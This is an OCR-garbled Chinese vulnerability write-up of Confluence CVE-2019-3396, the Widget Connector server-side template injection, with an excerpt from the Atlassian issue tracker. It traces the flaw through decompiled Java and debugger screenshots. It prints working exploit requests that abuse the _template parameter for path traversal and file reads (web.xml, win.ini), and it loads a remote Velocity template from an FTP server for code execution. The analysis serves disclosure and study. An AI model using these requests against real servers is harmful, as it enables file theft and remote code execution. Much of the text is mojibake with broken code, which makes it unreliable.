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DO Bug Status
Releases
2 Highest Resolution:
Reports Affects Version/s: 6.6.0,6.7.0, 6.80,6.9.0,6.10.0, Fix Versiol
6.11.0, 6.12.0, 6.13.0, 6.14.0, 6.14.1
Issues
f? Component/s: Macros - Widget Connector
GO Labels CVE-2019-3396 | advisory | | advisory-to-release

PROJECT SHORTCUTS

Confluence Server /' CONFSERVER-57974
Confluence Server

template-injection

Symptom Severity Severity 1 - Critical

LBP Kanban Documentation Epic Link
Sprint: Elizabeth, her royal highness
Retro log i varnig
QA Demo Status Not Done
QA Kickoff Status: Not Done
Bug Fix Policy: View Atlassian Server bug fix policy
v Description

There was a server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An

bugbounty | | cvss-critical | | security.

Remote code execution via Widget Connector macro - CVE-2019-3396

& Export v
v People
ETED (View Workflow) Assignee: * Duy Truong Luong
Fixed Reporter: SecurityB

6.6.12,6.133,6.14.2, 6.12.3 N
Participants: Boris Berenberg, Duy Truong Luong,

Ed Letifov (TechTime - ...

Ganesh Gautam, Jesse Lahtinen

Laurent Bierge, Marko Virmalainen,

SecurityB

Last Touched By: Laurent Bierge

Affected customers: (0" This affects my team

Watchers: 12 Start watching this issue
v Dates

Due: 28/Mar/2019

Created 28/Feb/2019 3:02 AM

Updated: 3 days ago

Re 05/Mar/2019 8:22 AM

Last commented 3 days ago

attacker is able to exploit this issue to achieve path traversal and remote code execution on systems that run a vulnerable

version of Confluence Server or Data Center.

v Anila

HARIRREWidget Connector, TEEFTMRAILLII*NT, RIE

com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java EE%T_/I\EIR‘J\, J\Z/I\ \_‘LIZE"_jE

BXNRRRX M.

2018/12/1619:42:50 3,345 bytes Java Source ¥ ANSI v UNIX

&

public String execute(Map parameters, String body, RenderContext renderContext) throuws Macro A
return execute(parameters, body, new DefaultConversionContext(renderContext));

public String execute(Map<String, String> parameters, String body, ConversionContext convers
String url = RenderUtils.getParameter (parameters, URL, 0);
if (StringUtils.isEmpty(url))
url = StringUtils.strip(body); // Maintained for the old execute method

if (StringUtils.isEmpty(url))
return RenderUtils.blockError (getText(“macro.error.urlnotspecified”), "*);

return renderianager .getEnbeddedtnl(url, parameters);

}

public BodyType getBodyType() {
return BodyType .NONE;

Keyword < >

AJLAEE]

https://paper.seebug.org/884/

@

2019/2/21 5:56:24 4,255 bytes Java Source ¥ ANSI v UNIX

public String execute(Map parameters, String body, RenderContext renderContext) throws Macro A

return execute(parameters, body, new DefaultConversionContext(renderContext));

¥

public String execute(Map<String, String> parameters, String body, ConversionContext convers
String url = RenderUtils.getParameter (parameters, URL, 0);
if (StringUtils.isEmpty(url))

url = StringUtils.strip(body); 1d execute method

if (StringUtils.isEmpty(url))
return RenderUtils.blockError(getText (“macro.error.urlnots

// CONFSERVER-57916 - prevent user to pass malicious data via TEMPLATE_PARAM. Because th
so_it will be safe to clean it
[ doSanitizeParameters(parameters); ]

return renderflanager .getEmbeddedHtml (url, parameters);

¥

Jex
* Do clean up value from possible malicious parameters
*

* @param parameters
x

private void doSanitizeParameters(Map<String, String> parameters) {
Objects.requireNonNull(parameters);
for (String sanitizedParameter : sanitizeFields) {
parameters.remove(sanitizedParameter);
b
}

public BodyType getBodyType() {
return BodyType .NONE;
Y
Keyword < ) 5

“«om <

1/20


https://paper.seebug.org/category/vul-analysis/

2019/4/10 Confluence 4% RCE (CVE-2019-3396) i 4 #if

this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TE

< >

[0 TEMPLATE_PARAM FYEFLE _template , BTLUX NN SEITIE T IMMENDY _template %L,

public interface VelocityRenderService {
public static final String WIDTH_PARAM = "width";
public static final String HEIGHT_PARAM = "height";
public static final String TEMPLATE_PARAM = " _template”;

#7—TWidget ConnectorBBEBIS 4, &I TEMPLATE_PARAM FLEIRIRSCIHRIER R,

public class FriendFeedRenderer implements WidgetRenderer {

private static final String MATCH_URL = "friendfeed.com";

private static final String PATTERN = "friendfeed.com/(\\w+)/?";

private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widge

private VelocityRenderService velocityRenderService;

public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
return velocityRenderService.render(getEmbedUrl(url), params);

DREgsMERROTEERY, SERAANERIREER, Wk, RRNBE—RESHN, BREEH5, b
THWERBIRIAB AR TIRE, AR TERZINUER, MMIEM TEREN.

ETHETHIN TR T —EXRBRBNCE, Fa=i.

B EIXI0RE, BT —TNELRSE, HEITXANIEE, AL ERA—EIE, 32

ES: N

BN NCREES R

A _EER A YouTubeflfi, FlickreJK]
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A
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BIXNY, BREET, BTSN THERER, KN TIINESE, url, width, height IESFXIM
EIXE, BB_template EAEHMIXB(EHHER?

BEEH AN YoutubeISIBANINN, REFS, M.

POST /rest/tinymee/l/macro/preview HTTP/ 1.1

Host: localhost:B050

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4:; rv:56.0) Gecko/Z0100101 Firefox/56.0

Accept: text/html, */*; g=0.01

Accept-Language: zh-CH, zh;gq=0.8, zh-TW;gq=0.7, zh-HE; q=0.5,en-US;q=0.3,en;q=0.2

Referer:

http://localhost:8090/ pages/resumedratt . action?drattId=786444cdrattShareId=cc4bffh7-40ca-4dea-9£3 l-esadeeb723 726
Content-Type: application/json; charset=utf-g

¥-Pequested-With: XMLHttpRecquest

Content-Length: 150

Connection: close

Cookie: ECS[visit times]=I0; XDEBUG SESSTON=FHPSTORN:
UH_distinctid=l€9§8b€aa9&48—062fcafEEEhDTSS—lZEEEan—lQQDDD—lESSSbﬁaanTST;
CNZZDATALZE40Z1086=20E0F15091-1551433379-https253A%252F%252Flocalhost253A8080%252F%7C1551433379;
rememberMe=bA+MEDETIH++USZIUTOI 7T+VMIS T ZCWFHAEGPSMAUQE ILXPe lpUTauE 65ME 1T/ YFELZpsOg LG 1VU+Xgpl S INEE0S839+hTxno579gdWE ZoiEn
QHIBGifhushbbwdDiL3VpgFNTiwvsiSvEEFo ThEDkeNCHPCZ Tz AVGKALELTAEZLLhluZhBubwl ETEWInggAdekt N8 1sVaEORkas4EE i k3 xS U0wOgyCryTH I
GVhg51T/KzVshUehCOnavVyWRTHEIan® qHGI0CVGTXIFEEONoyGsSD eWxPhMEr 9 gp0d8 v AuHIDLO3 KEgKECFIGL IFm255midXEDEulESot P 159HUc TsDLoF
SqDwECOA/ 5TFhnwlERED LrfWsZ/ dey5luzlWaFjowCipr OVHETPOT Q28 LTe J75LE=zEL/ ZaVonSKoh2 H7Bakn Z Xt KEr 4 hWCyvFbh THs e nDEENpBOP78Cnw
hNEsqx 0/ LhWEoQlgGTAp4+0nZxOgGTIERb LYWL ACPRIZOLEFZ ; -
Hm lwt 1040d081leealib44d84a4afe39640d51=1553 148029, 1553485109, 1553759148, 1553837369,
CNZZDATALZ55091723=192260389-1553143389-57C1553848504; JSESSTCNID=AF415D1DE0D1630C98E5414700187C52

e

{"contentId™:"7286444", "macro": { "name": "widget", "hbody": """, "params":{ "url”: "https://wvw. youtube. com/ vatch?v=TzS5wEoHMgHM"
y"wideh":"200", "Theight": 200"} )1}

TE params PEIIEN _template BEY, B, IRIESRAL, .

SE4494edrattShareId=ccdbffh7-40ca-4dea-9£f3 l-ecadsfh723 7 |; HTTF/1.1 200 |k
& ¥-ASEN: SEN-L13408504

Content-Type: application/json; charset=utf-2 ¥-Seraph-LoginFeason: CKE

H-Pequested-With: XMLHttpRedquest X—-AUSEFNAME: acmin

Content-Length: 189 ¥-Content-Type-Options: nosniff

Connection: close Content-Type: text/plain

Cookie: ECS[visit_times]=I0; XDEBUG_SESSICN=PHPSTORM; Date: Tues, 09 Apr Z019 03:29:4& GMT

UM _distinctid=l6938hEaad=48-062fcaf46eb0788-12666d4a-14 Connection: close

4000-1£938hEaa’t737; Content-Length: 1686

CHZEZDATALZE40Z LIOBE=20E0E619051-1551433379-http%l534%252F
%25ZFlocalhost%I53AB050%252F%7C1551433375;
remenberMe=hA+NEDETIH++USZIUTOIT+VMIS I ZCwFITAE GRS MAUODS IL

E HTML PUBLIC "-//

Swme. w3 . org/ TR/ html

¥PelpUauEEeSMa1T/ YFELIpsSglGlVU+Xgpe INEE05839+h7xno579g <htm1>
AWEZoiEnCHISGifhushbhbhwdDjL3VpgFNTiwsj9vERXFo ThEDkcNCHPCZ <head>
gTzAVGKACELTAEZLLhluZhEubwlEIEWIngglidektl8 1sVaEORkas4EE <title=Preview Macro</title>

1kSx3T0wOgyCryCXGVhgS 1T/ KeVsh Ueh COonaVyWRTHEIan9qHGI 0CVG
THIFSEDoyGsODeWxPLMEr9jgp0de8vAuHIDLOZ XegXEfCFIGLIIFm459mi
A¥BDEubESotP159HUc TEDLgF8qDweCOL/ STFhnwOEREDLrefW=Z/ dzey
S5lxzlWaFjowCiprOVMETPOTOz29/ LT J73LEzEL/ ZaVOnSKoh H7Bak
NIXtXEr4hWCyFb THS EnDEENpEQP78CnvhNEsqx O/ LhWEo Q1gGTAp 242

nZxOgGTIERLLEWLE ACmPRIIOLEFL <meta http-esquiv="X-TAi-Compatille"
Hm lvt 1040d08lesal3ib44d84adafeise40d51=15531480258, 1553 content="IE=EDGE, chrome=IE7">
495109?1553759148,1553837869; <meta charsect="UTF-3":>
CHNZZDATALZISS091723=192260389-15531433859-%7C1553848504; <meta id="confluence-context-path®
JSESSICHID=AF415D1DE0D1E30C98E5A14700187C52 name="conflusnce-context-path” content="">
<meta id="confluence-base-url"
{"contentId":"738E444", "macro": { "name" : "widgest ", "hody": " name="conflusnce-bass-url"
","params":{"url":"https:ffwwv.youtubﬁ,ggnﬂgﬂ;gn?x Izss ] content="http:// localhost:8090">
WEoHMgH", "width":"200", "height": "200", " template":"aaaa
"}}}| <meta id="atlassian-token" name="atlassian-token"
| content="f4ffcac81ef6287e4aa7c88932£83dal7£55d2d18"> .
v v
? < + = Ty 0 matches ? < + = 0 matches
Done 16,2710 bytes | 109 millis

FriadebugtEzl, EANHBARRZYoutubetlS, FrLUERAIZ

com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class

https://paper.seebug.org/884/ 3/20
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public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {
private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.):
private final PlaceholderService placeholderService;
private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widge

public String getEmbedUrl(String url) {
Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayer
return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wn

public boolean matches(String url) {
return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches(

private String verifyEmbeddedPlayerString(String url) {
return lurl.contains("feature=player_embedded&") ? url : url.replace("feature=pl:

public String getEmbeddedHtml(String url, Map<String, String> params) {
return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultP:

£ getEmbeddedHtml BT, SE2VEFH getembedurl STFIFENRY url H{TIENIPCER, EAEAUENR
ENEERYoutubetlsh, FRLAUXERIZEIRREAY, REEA setbefaultParam RERHMENIEMSEL
HITRME,

private Map<String, String> setDefaultParam(Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
if (!params.containsKey(" template")) {
params.put("_template"”, "com/atlassian/confluence/extra/widgetconnector/temp]

if (StringUtils.isEmpty(width)) {
params.put("width", "400px");

} else if (StringUtils.isNumeric(width)) {
params.put("width", width.concat("px"));

if (StringUtils.isEmpty(height)) {
params.put("height", "3@0px");

} else if (StringUtils.isNumeric(height)) {
params.put("height", height.concat("px"));

return params;

https://paper.seebug.org/884/ 4/20
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X width # height RAMTRER AT, N=NIREIIME. KR _template SECR T, WRIMEBIEN
HISE08E _template, NIREEIARIYoutubel&t, WIRMENT, BMEBEANDN, BFHER, aaaa
EBRINREHEKT .

KiEER 7 —TFWidget ConnectorEBEYRenderer, KEPDEBAEEIRE _template Y, BEHIES T,
thE—LeFsh, tYoutube, Viddler, DailyMotionZ, ZETLAMIMEBEN _template B,

BEfGIE _template T, 3% KRB T EUNIBUEIRAIEIAEIRAT.

ﬂﬁﬁ this.velocityRenderService.render , m;‘ﬁﬂ,—%

com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class EE

EI’:'J render ﬁ;£°

https://paper.seebug.org/884/ 5/20
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public String render(String url, Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
String template = (String)params.get("_template");
if (StringUtils.isEmpty(template)) {
template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vn

if (StringUtils.isEmpty(url)) {
return null;

} else {
Map<String, Object> contextMap = this.getDefaultVelocityContext();
Iterator var7 = params.entrySet().iterator();

while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
if (((String)entry.getKey()).contentEquals("tweetHtml")) {
contextMap.put(entry.getKey(), entry.getValue());
} else {
contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.¢

contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));
if (StringUtils.isNotEmpty(width)) {
contextMap.put("width", GeneralUtil.htmlEncode(width));
} else {
contextMap.put("width", "400");

if (StringUtils.isNotEmpty(height)) {
contextMap.put("height", GeneralUtil.htmlEncode(height));
} else {
contextMap.put("height", "300");

return this.getRenderedTemplate(template, contextMap);

_template ERLHEMR(ELS template , EMMEBHFRISEENHRET AT FIINE contextmap ,

FB getRenderedTemplate IZI%Z, ‘lﬂ,?}l}%ﬁﬁﬁ VelocityUtils.getRenderedTemplate,

protected String getRenderedTemplate(String template, Map<String, Object> contextMap){
return VelocityUtils.getRenderedTemplate(template, contextMap);

—EER, ARENTE, &Ek

Zl /com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class Y 1loadresource ER|

0, FEREUEIR.

https://paper.seebug.org/884/ 6/20
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FindBugs-IDEA

XEBEAR T 41 ResourcelLoader Z£EVAEAR,

com.atlassian.confluence.setup.velocity.HibernateResourcelLoader
org.apache.velocity.runtime.resource.loader.FileResourcelLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourcelLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourcelLoader

QEEEE'FVeIocityQ%E’\J FileResourceLoader #[] ClasspathResourcelLoader

FileResourceLoader 33 FAFPE NBIENRER1R(HFE normalizePath RRELHI TS

ateName) templateName: "aaaa"

AJLUER, SET /.., XERSERBNERERT .
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String normalizePath(String path)
String normalized = path
( h.in ) >=

x = normalized. indexOf(
(index < @)

ormalized.lastIndexOf( index -
malized.substring( index2) + normalized.substring(index +

normalized = normalized.substring( index) + normalized.substring(index +

normalized = normalized.substring( index) + normalized.substring(index + 3) @SeebUg

FTIEEVEH findTemplate BEFIENR, ATER], SHE—IEEM path, XZEConfluencefI&Eig

> By services
» By templates 2 InputStream findTemplate(String path, String template)
¥ Dyvideo {
3 BlipRenderer File file = .getFile(path, template): path: "D:\Confluence\confluence\" template: "/acaa"
4 DailyMationRenderer (fil {
4 EpisodicRenderer
% GoogleVideoRenderer
s MetacafeRenderer
% MySpaceVideoRenderer
4 OoyalaConfigurationManager
3 OoyalaRenderer
4 TudouRenderer
3 ViddlerRenderer
4 VimeoRenderer
3 YahooVideoRenderer ¢ .log.
4 YoutubeRenderer .log.debug( le uis.getEncodingFromStream())
> By widgets
» By xwork FileResourceLoader ' findTemplate(
Debug: @ confluence

Debugger [] Console
5 Frames = Variables

ttp-nio-8090-exec-2"@48,125 in group "main’: RUNNING v

findTemplate:231, cader ce.Ioader)

W EIRIER LAFFE FileResourceLoader SZIEN Confluence BR TFTERBISVAE T,

SSIVISEEY /WEB-INF/web. xm1 32f4, BILAEEI, RRINAIINEE 7134,

https://paper.seebug.org/884/
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Se444edrattShareId=ccd4bffh7-40ca-4dea-5£3 l-ecsadegh7237e
&

Content-Type: application/json; charset=utf-g8
¥-Pequested-With: XMLHttpRequest

Content-Length: 181

Connection: close

Cookie: ECS[visit_times]=I0; XDEBUG_SESSICHN=FPHPSTORM:
UM distinctid=lE838bEaaS=48-062fcatd6eb0788-12666d4a-14
4000-1E938bEaadsf737;
CHNEZZDATAIZE40Z108E=20E0E19091-1551433379-http%253A%252F
%I25IFlocalhostsZ53A8080%252F%7C1551433379;
rememberMe=bA+MESDETIH++USZIUTOI7+VHIS T ZCwFIAEGPSMAUCDS IL
¥PelpUauEE5ME 1T/ YFELEpsSglGlVU+HgplS INEEOSE39+hTxno579g
AWVEZoiEnQHISGifhushbhbbwdDL3VpgFNTiws SvEXFo ThEDkcICHPCZ
gTzAVGKACELTAEZLLhluZhEubwlETEVInggAdektlE lsVaEORkas4EE
1kSxSU0wOgyCryCXGVhgS LT/ KzVah UehCOnaVyWRTHE IanSqHGI 0CVE
THXIF9EQoyGsSDzWxPLMErSJgp0d8 v AuHIDLOZ XEgXECFIGLIFmd59mi
AXEDE8ubEBESotP159Huc TsDLgFS8qDweCOA/ STFhnwlEREDIr6£WsZ/ dey
S5lxzlWaFjowCiprOVMETPOTOzS9,/ LTrJg7SLE=zEL/ ZavonSKohZ H7Bak
nIXtXEr4hWCyFbTHSEnDEENpBOP7E8CnvhN8sax O/ LhWEoQ1gGT AR +0
nZxOgGTISFLLEWLI ACPRIZOLEFZ

Hm lvt_1040d08lesal3ib44dB84a4afe359640c51=1553148029, 1553
499109, 1553759148, 155383 7869;
CHNZZDATALZ55081723=192260389-1553143389-%7C15538458504;
JSESSICNID=AF415D1DE0D1E30C9EE5A14700187C52

{"content Id": "78£444", "macro™: {"nams": "widget", "body": "
"o Mparams":{"url": "https://vww. youtube. con/ vatch?v=Tz55
WwEoHMgH", "width": "200", "height":"200", " template":"/WEB
—INF/web.xml"}}}

EIEEE]

[a

0 matches

<url-pattern>fsf¥</url-patterns>
</filter-mapp ing>
<filter-mapping>
<filter-name>sessioninview</filter-nams>
<url-pattern>fexportword</url-pattern>
</filter-mapping>

the prototype Confluence REST plugin

the REST plugin type does not have

rt
ansactions yet. Hopefully non-prototype
ions will support transactions

<filter-mapping>
<filter-name>sessioninview</filter-names>
<url-pattern>frestf*</url-patterns>
</filter-mapp ing>

<filter-mapping>
<filter-name>ClusterHeaderFilter</filter-nams>
<url-pattern>f*</url-pattern>

</filter-mapping>

<!-- Plugins 2.5 filter changes -->

<filter-mapping>

<filter-name>filter-plugin-dispatcher-before-login-regu

L

est</filter-nams> b
<url-patterns/*</url-pattern> v
? < + > a search ¢ matches

BERXNMN LA H ConfluencelBR, RAREER/../.

E@ﬂ%i?jtClasspathResourceLoader

public InputStream getResourceStream(String name) throws ResourceNotFoundException {

InputStream result = null;

if (StringUtils.isEmpty(name)) {

throw new ResourceNotFoundException("No template name provided");

} else {
try {

result = ClassUtils.getResourceAsStream(this.getClass(), name);

BRI classUtils.getResourceAsStream

https://paper.seebug.org/884/
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public static InputStream getResourceAsStream(Class claz, String name) {
while(name.startsWith("/")) {
name = name.substring(1);

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream result;
if (classLoader == null) {
classLoader = claz.getClassLoader();
result = classlLoader.getResourceAsStream(name);
} else {
result = classLoader.getResourceAsStream(name);
if (result == null) {
classLoader = claz.getClassLoader();
if (classLoader != null) {
result = classLoader.getResourceAsStream(name);

return result;

é%@EﬁU/org/apache/cata1ina/1oader/WebappC1assLoaderBase.class

IR, RINSHHE /WeB-INF/classes , MIBEEFHMEREA T normalize IHENIBEFRHITITIE, .

https://paper.seebug.org/884/ 10/20
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XBERZEALA ../ —RKEBR.

SR . . /web.xml , BILAER], WEAILUZEAINR, BEMATEHLEER.

2E444cdrattShareld=ccd4bffh7-40ca-4dea-9f3 l-ecadeh723 7 A <filter—-name>ResponselutputStreamFilter</filter—nams> &
& <url-pattern>/*</url-pattern> ™
Content-Type: application/json; charsst=utf-g8 </filter-mapping>
¥-Requested-With: XMLHttpRequest
Content-Length: 175 <!-— Must come before reguestcache -->
Connection: close <filter-mapping:
Cookie: ECS[visit times]=I0; XDEEUG SESSICHN=FHFITORN; <filter-nams>zipkinFilter</filter-nams>
UH_dist,inc:t,id=J.6958]3EaaSeQS—DE:fcafEEEJJDTSS—J.Z EEEdd4a-14 <url-pattern>/*</url-pattern>
4000-1E938bEaa9t737; <dispatcher>REQUEST</dispatchers>
CHNZZDATALIZE40Z108E=20606819091-1551433379-https2534%252F <dispatcher>ERROR</dispatcher>
%252Flocalhost%253 AB080%Z52F%7C1551433379; </filter-mappings>
remenberMe=bA+MEDETIH++USEIUTOI7+VHIS T ZCwFNAEGPSMAVDE IL
¥Pe lpUauEeSHE 1T/ YFELEpsOglG1VU+Xplg INEECSE838+hTxno579y <filter-mapping>
AWE ZoiEnQHIEGifhushhhwdDjL3VpgFNTivsjS9wEREXFo ThEDkcCHPCZ <filter-nams>regquestcache</filter-nams>
Tz AVGKALELTAEZLLh IuZhEBubwlE IEWlngghdektNE1sVaEORkas4EE <url-pattern>/*</url-pattern>
1kSHST0wOgyCEYCHGVhgS 1T/ KeVeshUehC QnaVy WETHE TanSqHGI0CVG <dizpatcher>REQUEST</dispatcher>
TH1IFSEOoyGsOD zWxPLMEr 9 gp0de8 vAuHIDLOS KEgXECFIGLIFma59mi <dispatcher>ERROR</dispatcher> )
AXEDEURESotPl59Huc TsDLFEqDWECDA/ STFhnwlERED I E£WsZ/ dey </filter-mappings>
5lxzlWaFj0wCiprOVHETPOTOz9/ LTrdJg7SLEzEL/ 2aVonSKohi H7Bak
nIXtXEr4hWCyFh THsEnDKENpEQP78CnvhEsqx O/ LhWEoQLlgGTApS+Q <filter-mapping>
nZxOgETISRbLEWLE ACIPRIZOLEFZ <filter—-name:>LoggingContextFilter</filter—nams>
Hm lvt_ 1040d08lesalib44d84a4afe3se40d51=1553145025, 1553 <url-patternsf*</url-pattern>
499109, 1553759145, 1553837369, </filter-mapping>
CHNEZEZDATALZS55091723=1922603859-15531433858-%7C 1553848504,
JSESSICHNID=AF415D1DE0D1E30CYEESA14700187C52 <filter-mapping>
{"contentId":"72£444", "macro": { "name": "widget", "hody": " <filter—-name>vcache-request—-context</filter-nams>
Mo Mparams":{"url”: "https://www. youtube . com/ watch?v=Tz55 <url-pattern>/*</url-pattern>
WEoHMgH", "width™:"200", "height":"200", " template”:"../w </filter-mapping>
eh.xml'} 1} -
<filter—-mapping> -
|'r <filter-name>language</filter—namss ¥
h term 0 matches ? < + > Type a search term J [ 0 matches

X BN IR AR6.14.1, TIE=R T file://, http://, https:// EBREMY. EXRE=AIE
Cookieffif®, AIMAELINWEME FEIAESTLUEESE, Windowsil6.14. 1 RAEHFEEMY, B
BAHBER. NamEXERET.

MERIJLR, BXER file:// MYXATLBKHBRIRH, FiRT, BFESHNRESAT T, KB/
M. BT ARNEE, KUBRIZ6.9.0800A, ETHT, 27—, AMENTLL. mBE
6.9.0§RAS, WindowsFILinux¥NEEEREEE R,

[A)RARTE ClasspathResourceloader FH, TEFIZBIAVE—HERY, B
Zl /org/apache/catalina/loader/WebappClassLoaderBase.class By getResourceAsStream Tj_;£

https://paper.seebug.org/884/ 11/20



2019/4/10 Confluence A #%#{ RCE (CVE-20

BUEIHHE /WEB-INF/classes SRENEMUS, EE FiH1T,

) ClasspathResourceLoader class « (@ ClassUils.class ) WebappClassLoaderBase.class ) WidgetMacro.class 3 DefauliRenderManager.class 1 Velocity13CompatibleResourceLoader.class
streams-aggregat 3.2jar Decompiled .class file, bytecode version: 51.0 (Java 7)
streams-api-6.3.2jar

streams-confluence-inline-actions-plugin-6.3.2jar

widgetconnector
v B comatlassian.confluence.extrawidgetconnector
> By chatter
» By documents . .findL
> Byjs

3 logos

3 photo

§ services

3 templates

WebappClassLoaderBase » getResourceAsStream()
Debug: &l confluence
Debugger [&] Console
38 in group "main’: RUNNING this = ClassLoader\r\n context: ROOT\ryn delegate: false Parent Classloader\r\njavanctURLClassloader@
name = *files///C:/Windows/wir.ini"
null

4 ClasspathResourceloader.class ) ClassUtils.class 4 WebappClassloaderBase.class f 1 Velodityl 3CompatibleResourceLoader.dlass

Decompiled class file, bytecode version: 51.0 (Java 7)

reams-core-plugin-6.3.2jar

streams-inline-actions-plug
Name (name, path)
mplates-frame

usage:

vebdav-plugin-5.0.0jar
widgetconnector.
¥ B com.atlassian.confluence.extrawidgetconnector

» By chatter

» By documents

» byjs

> By logos é .hasExt positories)

» By photo = . findResource( )s wrl: null name: "file:///C:/Windows/win.ini"
» By senvices

» by templates

> Byvideo ( ugEnab1

» By widgets

> By xwork

A DefaultRenderManager v

A i18n.oroperties WebappClassLoaderBase ' findResource()
ebug: @ confluence

Debugger 5] Console

0-exec-2'@38.438 in gro "WebappClassloader\rin context: ROOT\\n delegate: false arent Classloaderi\rjava: ClassLoad

NebappClassLoaderBase

FKEOMAMEXE, S8 super. findResource(name) , IXEIR[E]TURL, HBHEEXENEINTS:R,

% com.atlassian.confluence.extra vidgetconnector
M chatier
¥ documents
B
% logos
3 photo
g services
 templates
¥ video

 vidgets

>
>
>
>
>
>
>
>
>
>

g work

4 DefaultRenderManager
SitSnproperties WebappClassloaderBase © findResource
bebug: & confluence

Debugger B Console

rio-9090-exec-2"@39,438 in group "main "WebappClassLoader 00T\rin delegate: false! Parent Classloader:\r\rjavanet URLClassLoader@

findResource:063, WebappClassloaderBase (org.apache.catalina loader)
“files/C:/Windows/win.ni*

https://paper.seebug.org/884/
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AN, XEEALMERE b (https, ftpFERBUTIEAINSR, EWETLIIEITENRIR.

Evaluate =

Code fragment:

. TindResource(
@

e

query = null

RENZEIURLSSRZ 5, HREEEZEIZBIHY getResourceAsstream, HJLAEE], HiREIRJurlAAnullrd,

S8R url.openstream() SREXEUE,

https://paper.seebug.org/884/ 13/20
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FindBugs-IDEA -] Terminal

RERENRIEIELA Velocityi B,

£ —T

Confluence #{## RCE (CVE-2019-3396) J i/ #t

FOST /rest/tinymee/l/macro/preview HTTE/L.1

Host: localhost:S5050

User-Agent: Mozilla/5.0 (¥ll; Linux x8€ &4; rwv:e0.0)
Gecko/Z0100101 Firefox/E0.0 -

Aoecept: text/html, */*; g=0.01

Accept-Language :

zh-CH, zh;q=0.8, zh-TW;gq=0.7, zh-HE; q=0.5,en-US; q=0.3,en; q
=0.Z2

Referer: http://localhost:3090/

Content-Type: application/json; charset=utf-8
¥-Pequested-With: XMLHttpReguest

Content-Length: 191

Connection: close

{"content Td":"756444", "macro™: { "Tname" : "widget™, "hody": "
" oMparams”:{"url":"https://www. youtube. com/ vatch?v=Tz35
WEoHMgM", "width™:"200", "height":"200", " template":"file
+///C:/Windows/win. inil'} 1}

DEEEE

Done

e

=
v

0 matches

ody) ; i
} -
</scripts>
</head>
<body id="com-atlassian-conflusnce"
class="content-preview":>
<div id="main":>
<div _id="content" class="page edit'>
<div class="wiki-content">
; for 16-bhit app support
[fonts]
[extensions]
[mci extensions]
[files]
Mail]
MAFPI=1
[¥LServicePlatform TpLoader]
TpExistenceTime=0 -
.
</dive
</dive
<!-- include system javascript resources -->
<!-- end system javascript resources -->
</body>
</html>
v
? [LJ u lLJ Type a 0 matches

40245 bytes | 41 millis

EF6N41AER T, EENR, BESIR, NMREHHOAI, 2FEE kR, BaiREZR classLoader

https://paper.seebug.org/884/
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6.9.0

X MNoaderf X &N T

Tomcat classloaderzEE

stream: null

null

pkg

Jjava.lang.ClassLoader

[IB.

java.security.SecureClassLoader

[P

java.net.URLClassLoader

[ll

org.apache.catalina.loader.WebappClassLoaderBase

/V

~

org.apache.catalina.loader.ParallelWebappClassLoader

org.apache.catalina.loader.WebappClassLoader

https://paper.seebug.org/884/
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2019/4/10 Confluence 4#2# RCE (CVE-2019-3396) Jii il 4
MEATLNIEA B NTZER 7, LA TRCE,
EFVelocityfJRCE, B _payloadZBs&iETF 155 blackhatiUiRSHERSENIINER, (B2
Confluence_t%Z:T ' jﬂ&ﬁﬁﬁﬁiiﬂ’ﬂﬁﬂ@%@éﬁ velocity-htmlsafe-1.5.1.jar, EE%T_‘EQ
TEAIPRE. (BRABARTLAFI BRI RIITES.

FB python -m pyftpdlib -p 2121 FFE— NEERAIftpARS3ES, 1Fpayloadi®RiFrkrce.vm, {RIFEXHEIE
o

& templateIREERY ftp://localhost:2121/rce.vm, A%, FIIHITS.

L 1 1 J L 1
Go | <iv|| 2| Target: hiip:/flocalhost:9090 | & ?
Request Response
JRIW I Params [ Headers [Hax | _[ Raw I Headers ] Hex] HTML ] Rander l
POST /resac/cinymece/l/macro/peEeview HITP/ 1.1 i HITP/1.1 200 O &
Host: localhoat:S0S0 " Server: Apache-Coyote/1.1
User-Agent: Mozilla/5.0 iX¥1l: Linux *x8BE_E4; rv:E0.0) ¥=ASEN: SEN-L13409C1E
Gecko/20100101 Firefox/ED.D Set-Cookie:
Accept: text/html, */¥; g=0.01 JESESSIONID=17D34304B4DSE0S01Z2D40BF5T7B427BEL; Path=/;
Accept-Language: Hropimly
zh-CH, zh;q=0.9, zh-TW:q=0.7, zh-HK: gq=0. 5,en-US; q=0.3,en;q ¥-Contenc-Type-Option=s: nosniff
=0.2 Content=Type: text/plain
Referer: htop://localhosc:S080/ Date: Tuy L Daslb thoniiion ot
Content-Type: application/json; charset=ucf-8 Connecti| = _
¥-Bequested-With: ¥MLHttpRequeat Content- HEE o x
Content-Length: 182
Connection: close —‘& O
— *ﬂ— L
{"content Id":"7T8£444", "macro™: { "name": "widget®, "body": "
®, Yparams*:{"url*:"htcpa://vew. youtube. com/watchwv=Tz5
wEcHMgM", "width™: 200", "height™:"200", " template":"ftp:
localhost:2121/rce.vmM™) )}
content= M"‘ M_ MS
<meta ch
<meta idl
name="cg o 2 1
wia id| —"ib Vf X f’l’
name="g|
content=
- -
